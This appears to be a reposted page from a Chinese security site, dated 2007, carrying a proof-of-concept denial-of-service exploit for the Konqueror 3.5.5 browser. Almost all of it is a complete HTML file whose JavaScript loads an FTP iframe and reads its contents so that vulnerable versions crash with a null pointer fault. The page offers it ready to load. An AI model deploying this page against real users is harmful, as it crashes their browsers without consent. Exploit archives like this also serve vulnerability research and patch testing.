|
Konqueror 3.5.5 (JavaScript Read of FTP Iframe) DoS Exploit
|
|
来源：mark@bindshell.net 作者：mark 发布时间：2007-03-06
|
|
<html>
<body>
Demo of how to make Konqueror 3.5.5 crash by mark@bindshell.net.<p>
Simply load this file in Konqueror. Vulnerable versions should segfault instantly with a null pointer exception.<p>
<p>
<script>
read_iframe = function(iframe_name) {
var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML;
alert(banner);
}
var iframe = document.createElement("IFRAME");
iframe.setAttribute("src", 'ftp://localhost/anything');
iframe.setAttribute("name", 'myiframe');
iframe.setAttribute("id", 'myiframe');
iframe.setAttribute("onload", 'read_iframe("myiframe")');
iframe.style.width = "100px";
iframe.style.height = "100px";
document.body.appendChild(iframe);
</script>
</body>
</html>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
